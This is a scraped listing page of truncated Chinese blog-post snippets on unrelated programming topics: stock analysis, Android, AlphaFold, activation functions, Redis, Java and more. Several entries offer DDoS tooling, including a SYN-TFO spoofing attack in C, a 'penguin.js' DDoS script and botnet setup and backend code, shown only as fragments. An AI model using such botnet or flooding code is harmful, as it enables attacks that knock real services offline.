- python股票分析系统部署操作过程及代码实现
大懒猫软件
python开发语言flaskplotlyapirestful
部署一个股票分析系统涉及多个步骤,包括后端服务、前端界面和实时数据更新。以下是一个详细的部署过程,涵盖从代码编写到服务器部署的完整步骤。1.系统架构概述后端:使用Flask提供RESTfulAPI和数据处理服务。前端:使用PlotlyDash构建动态界面,实时显示股票价格走势。数据源:从金融数据API(如AlphaVantage、YahooFinance)获取实时数据。2.系统开发步骤2.1安装必
- Compose - 权限申请
Jomurphys
Composeandroid
一、概念二、使用AccompanistPermissions官方介绍&最新版本不同版本中,权限状态(如PermissionState)中获取属性的方法不同,例如在“0.23.1”中,通过PermissionState.hasPermission属性拿到是否通过的Boolean值,在“0.35.0-alpha”中,通过PermissionState.status.isGranted属性拿到。单个权限
- 人工智能的本质解构:从二进制桎梏到造物主悖论
Somnolence.·.·.·.
人工智能人工智能ai
一、数学牢笼中的困兽:人工智能的0-1本质人工智能的底层逻辑是数学暴力的具象化演绎。晶体管开关的物理震荡被抽象为布尔代数的0-1序列,冯·诺依曼架构将思维简化为存储器与运算器的机械对话。即使深度神经网络看似模拟人脑突触,其本质仍是矩阵乘法的迭代游戏——波士顿动力机器人的空翻动作不过是微分方程求解的物理引擎呈现,AlphaGo的围棋神话只是蒙特卡洛树搜索的概率统计。这种基于有限离散数学的架构,注定人
- 预测股票走势的ai模型
roxxo
AI模型人工智能深度学习金融
AI股票走势预测模型用深度学习+时间序列分析来构建一个股票预测AI,基于历史数据预测未来走势。1.关键功能✅AI选股(基于财务数据+技术指标)✅股票走势预测(LSTM/Transformer)✅智能筛选高增长潜力股✅可视化分析2.关键技术数据来源:YahooFinance/AlphaVantage财务分析:PE、EPS、ROE、PB、成交量机器学习选股:随机森林/XGBoost深度学习预测:LST
- SYN-TFO伪造攻击.c
金猪报喜-阿尔法
c语言安全网络
/*--------------------------------------------------*\SYN-TFO伪造攻击作者:alpha编译方法:gcc-osyntfosyntfo.c-pthread\*--------------------------------------------------*/#include#include#include#include#include#
- 优化算法全景解析:从梯度下降到群体智能
welcome_123_
算法python人工智能
一、引言:为什么需要优化算法?在AlphaGo击败人类围棋冠军的背后,在特斯拉自动驾驶系统实时决策的瞬间,在推荐系统精准推送内容的过程中,优化算法始终是推动这些技术落地的核心引擎。无论是机器学习模型的训练,还是复杂系统的参数调优,优化算法的本质是:在给定的约束条件下,找到使目标函数最优的解。本文将深入解析优化算法的核心原理、经典方法、现代进展及实战应用,助你全面掌握这一技术利器。二、优化算法分类图
- penguin.js(个人创作)DDOS脚本
金猪报喜-阿尔法
网络安全java
/*1.6by:tg@alphachnhkCHN———————————————————————————————————————————1.1CHANGELOG:-Addedredirecthandler-Addedcookieparser-Fixedupdateheaders-Addedproxyconnstats-RemovedUAMoption1.2CHANGELOG:-Addedconfig
- 僵尸DDOS设置与部署.c
金猪报喜-阿尔法
网络安全
importsubprocess,sys#
[email protected](sys.argv[2])!=0:ip=sys.argv[2]else:print("\x1b[1;95mIncorrectUsage!\x1b[0m")exit(1)bot=sys.argv[1]Sakura=raw_input("\x1b[1;95mReadyToInstallCrossCompilers?
- DDOS僵尸后端.c
金猪报喜-阿尔法
网络安全
#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#include#defineMAXFDS1000000//
[email protected]_t{uint32_tip;ch
- AF3 gdt函数解读
qq_27390023
机器学习人工智能生物信息学pythonpytorch
AlphaFold3的函数gdt、gdt_ts以及gdt_ha实现了GlobalDistanceTest(GDT)评分计算,用于衡量蛋白质结构预测的准确性。GDT评分衡量的是预测结构(p1)和真实结构(p2)之间的相似度,主要用于蛋白质结构比较。源代码:defgdt(p1,p2,mask,cutoffs):"""CalculatetheGlobalDistanceTest(GDT)scorefor
- 论文笔记《基于深度学习模型的药物-靶标结合亲和力预测》
I_dyllic
深度学习论文阅读深度学习人工智能
基于深度学习模型的药物-靶标结合亲和力预测这是一篇二区的文章,算是一个综述,记录一下在阅读过程中遇到的问题。文章目录基于深度学习模型的药物-靶标结合亲和力预测前言一、蛋白质接触图谱二、为什么蛋白质图谱的准确性对DTA模型预测结果没有影响1.对这段话的解释2.关于Alphafold3三、随机配体与随机配体节点属性(配体一般指药物)1.什么是随机配体与配体节点属性四、关于深度学习模型对特征的自动学习过
- Kubernetes (K8S)决定弃用 Docker!Kubernetes (K8S)学习详解
熙媛
学习笔记javadockerjenkinslinux服务器
确实如此。Kubernetes现已弃用Docker!!!目前,Kubernetes中的Docker支持功能现已弃用,并将在之后的版本中被删除。Kubernetes之前使用的是一个名为dockershim的模块,用以实现对Docker的CRI支持。但Kubernetes社区发现了与之相关的维护问题,因此建议大家考虑使用包含CRI完整实现(兼容v1alpha1或v1)的可用容器运行时。简而言之,Doc
- 高等代数复习:线性空间
爱吃白饭
高等代数线性代数学习笔记
文章目录线性空间定义和性质线性相关性与秩基与维数矩阵的秩同构坐标子空间子空间的定义和性质子空间的和与交直和陪集和商空间解线性方程组本篇文章适合个人复习翻阅,不建议新手入门使用线性空间定义和性质定义:(线性空间)设集合VVV和数域K\mathbb{K}K,在VVV上定义加法+:V×V→V,(α,β)↦α+β+:V\timesV\toV,(\alpha,\beta)\mapsto\alpha+\bet
- 神经网络常见激活函数 7-ELU函数
亲持红叶
神经网络常见激活函数深度学习机器学习人工智能数学建模神经网络
文章目录ELU函数+导函数函数和导函数图像优缺点pytorch中的ELU函数tensorflow中的ELU函数ELU指数线性单元:ELU(ExponentialLinearUnit)函数+导函数ELU函数ELU={xx>=0α(ex−1)x=0\\\alpha(e^x-1)\quad&x=0x=0αexx=0\\\alphae^x\quad&x=0x0,x,alpha*(np.exp(x)-1))
- AF3 drmsd函数解读
qq_27390023
深度学习pytorch人工智能生物信息学python
drmsd(distanceRootMeanSquareDeviation,距离均方根偏差)函数在AlphaFold3的src.utils.validation_metrics模块中定义,用于计算两个蛋白质结构(或其他分子结构)之间的距离偏差。它衡量了两个结构的成对原子间距离差异,而不是直接比较原子坐标。这种度量方式比RMSD(RootMeanSquareDeviation,均方根偏差)更能反映全
- 神经网络常见激活函数 6-RReLU函数
亲持红叶
神经网络常见激活函数神经网络人工智能深度学习机器学习pytorch激活函数
文章目录RReLU函数+导函数函数和导函数图像优缺点pytorch中的RReLU函数tensorflow中的RReLU函数RReLU随机修正线性单元:RandomizedLeakyReLU函数+导函数RReLU函数RReLU={xx≥0axx=0,inputs,alpha*inputs)#创建RReLU激活函数层rrelu=RReLU()#生成随机输入x=tf.random.normal([2])
- 39. I2C实验
lljss2020
LinuxLinux
一、IIC协议详解1、ALPHA开发板上有个AP3216C,这是一个IIC接口的器件,这是一个环境光传感器。AP3216C连接到了I2C1上:I2C1_SCL:使用的是UART4_TXD这个IO,复用位ALT2I2C1_SDA:使用的是UART4_RXD这个IO。复用为ALT22、I2C分为SCL和SDA,这两个必须要接上拉电阻到VCC,比如3.3V,一般是4.7K上拉电阻。3、I2C总线支持多从
- z变换的性质
-nightingale
离散时间傅立叶变换
Z域变换的主要性质复频域(z域)变换的性质大多与拉普拉斯变换的性质相似,其与k域有不可分割的关系。复频域(z域)变换的性质既适用于单边z变换,也适用双边z变换,其性质有九条。其中标出来的性质是比较重要的。1.线性性质若f1(k)↔F1(z),α10,则f(k±m)↔z±mF(z),αα(α为正实数)f(k)\leftrightarrowF(z),|z|>\alpha(\alpha为正实数)f(k)
- 机器学习数学基础:18.向量组及其线性组合
@心都
机器学习数学基础机器学习概率论线性代数
向量组与线性表示:案例与教程详解一、基础概念(一)向量组向量组是若干同位数列向量组成的集合。比如在平面直角坐标系中,向量组{α⃗1=[10],α⃗2=[01]}\{\vec{\alpha}_1\=\begin{bmatrix}1\\0\end{bmatrix},\vec{\alpha}_2\=\begin{bmatrix}0\\1\end{bmatrix}\}{α1=[10],α2=[01]},这
- 机器学习数学基础:19.线性相关与线性无关
@心都
机器学习数学基础机器学习概率论线性代数
一、线性相关与线性无关的定义(一)线性相关想象我们有一组向量,就好比是一群有着不同“力量”和“方向”的小伙伴。给定的向量组α⃗1,α⃗2,⋯ ,α⃗m\vec{\alpha}_1,\vec{\alpha}_2,\cdots,\vec{\alpha}_mα1,α2,⋯,αm,如果能找到不全为零的数k1,k2,⋯ ,kmk_1,k_2,\cdots,k_mk1,k2,⋯,km,让k1α⃗1+k2α⃗2
- 给bmp和png,设置BLENDFUNCTION的AlphaFormat不同参数的效果
wuchen1004
MFC图片按钮设置
BLENDFUNCTION是AlphaBlend用控制透明效果的重要参数。选择一个32位的png图片,设置AlphaFormat为AC_SRC_ALPHA,效果如上图。选择一个32位的png图片,设置AlphaFormat为0,效果如上图。选择一个24位的bmp图片,设置AlphaFormat为0,效果如上图。选择一个24位的bmp图片,设置AlphaFormat为AC_SRC_ALPHA,效果如
- 40. SPI实验
lljss2020
Linuxlinux
一、SPI协议详解1、SPI相比I2C最大的优势有两点:一个是速度快,最高可以大几十M,甚至上百MHz,第二个就是SPI是个全双工。2、SPI接口和I2C一样,一个SPI接口可以连接多个SPI外设,SPI通过CS引脚/数据线,片选引脚来选择和哪个SPI外设通信。SPI通信前先将指定的SPI外设对应的CS引脚拉低来选中此设备。3、ALPHA开发板上通过ECSPI3接口连接了一个6轴传感器,引脚如下:
- AKI跨语言调用库神助攻C/C++代码迁移至HarmonyOS NEXT
harmonyos
随着HarmonyOSNEXT的发布,越来越多的应用加速推进鸿蒙化。在这一过程中,如何高效迁移原有资产、简化跨语言调用,成为开发者和厂商面临的重要挑战。为解决这一痛点,一款名为AKI(AlphaKernelInteracting)的开源三方库应运而生,它通过高效封装跨语言调用接口,帮助开发者将C/C++代码快速迁移至HarmonyOSNEXT。凭借卓越的兼容性,AKI已成为厂商与开发者打造鸿蒙原生
- 前向概率和后向概率
苏西月
概率论机器学习人工智能
1.前向概率和后向概率的定义前向概率αt(i)\alpha_t(i)αt(i):表示从初始状态q0q_0q0出发,经过ttt步达到状态qiq_iqi,并且生成观测序列O1,O2,…,OtO_1,O_2,\dots,O_tO1,O2,…,Ot的概率。αt(i)=P(O1,O2,…,Ot,qt=i∣λ)\alpha_t(i)=P(O_1,O_2,\dots,O_t,q_t=i|\lambda)αt(i
- pyparsing 与 regex 结合表达汉字等Unicode字符(qbit)
正则表达式
前言技术栈python3.11.8pyparsing3.2.1regex2024.11.6测试案例测试代码#encoding:utf-8#author:qbit#date:2025-02-05#summary:使用pyparsing和sympy化简与或非逻辑表达式importpyparsingasppimportregex#greet=pp.Word(pp.alphas)+","+pp.Regex
- C 语言标准库 - <ctype.h>
赔罪
C语言函数库c语言开发语言c语言函数库青少年编程clion
目录C语言isascii()函数:判断字符是否为ASCII码C语言isalnum()函数:判断字符是否为字母或数字C语言isalpha()函数:判断字符是否为英文字母C语言iscntrl()函数:判断字符是否为控制字符C语言isdigit()函数:判断字符是否为十进制数字C语言isgraph()函数:判断字符是否除空格外的可打印字符C语言islower()函数:判断字符是否为小写英文字母C语言is
- 开放寻址法
小海螺123
算法
开放寻址法开放寻址法的装载因子开放寻址法插入关键字查找关键字删除关键字开放寻址法探查序列的计算方法开放寻址法的装载因子 给定一个能存放n个元素的、具有m个槽位的哈希表T,采用开放寻址法时T的装载因子为:α=n/m,n≤m\alpha=n/m,n\leqmα=n/m,n≤m开放寻址法 解决哈希表(在一些文献中又称作散列表)冲突的方法有:链接法(chaining)和开放寻址法(openaddres
- Day33【AI思考】-函数求导过程 的优质工具和网站
一个一定要撑住的学习者
#AI深度思考学习方法人工智能
文章目录**函数求导过程**的优质工具和网站**一、动态图形工具**1.**Desmos(网页端)**2.**GeoGebra(全平台)****二、分步推导工具**3.**WolframAlpha(网页/App)**4.**Symbolab(网页/App)****三、专项练习工具**5.**DerivativeCalculator(网页)**6.**Photomath(移动端)****四、编程工具
- Setgsolve使用方法
Aresy596
学习
StegSolve使用方法1.File文件Open打开SaveAs保存Exit退出2.Analyse分析FileFormat文件格式可以看见图片的具体信息DataExtract数据提取左边:RGBA的颜色通道1.Alpha是透明度,用来定义透明,不透明,半透明其中0代表透明,7代表不透明2.RGB红蓝绿,其值代表亮度,数字大代表亮度高,数字小代表亮度低亮度有256个级别,也就是2的8次方,所以有0
- 使用 Python 的 LSTM 进行股市预测
无水先生
数据分析深度学习人工智能综合pythonlstm开发语言
目录一、说明二、为什么需要时间序列模型?三、下载数据3.1从Alphavantage获取数据3.1从Kaggle获取数据3.3数据探索3.4数据可视化四、将数据拆分为训练集和测试集五、数据标准化六、通过平均进行一步预测6.1标准平均值6.2指数移动平均线6.3如果指数移动平均线这么好,为什么还需要更好的模型?6.4预测未来不止一步七、LSTM简介:预测未来的股票走势7.1数据生成器7.2数据增强7
- JAVA基础
灵静志远
位运算加载Date字符串池覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
- keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
- java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
- android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
- zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
- 详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
- spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
- hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
- EJB和javabean的区别
asia007
beanejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
- Struts的action和Result总结
百合不是茶
strutsAction配置Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
- 如何带好自已的团队
bijian1013
项目管理团队管理团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
- Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
- 【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
- 使用代理实现Hibernate Dao层自动事务
白糖_
DAOspringAOP框架Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
- maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
- 编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
- 读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
- [求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
- RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oraclermanfilespersetPARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
- 简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
- 初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
- I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
- 并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
- Spring Security(12)——Remember-Me功能
234390216
Spring SecurityRemember Me记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
- 位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
- nodejs 数据库连接 mongodb mysql
liguangsong
mongodbmysqlnode数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
- java动态编译
olive6615
javaHotSpotjvm动态编译
在HotSpot虚拟机中,有两个技术是至关重要的,即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢?Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器,即Profile Monitor,专门监视
- Storm0.9.5的集群部署配置优化
roadrunners
优化storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
- 101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
- zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1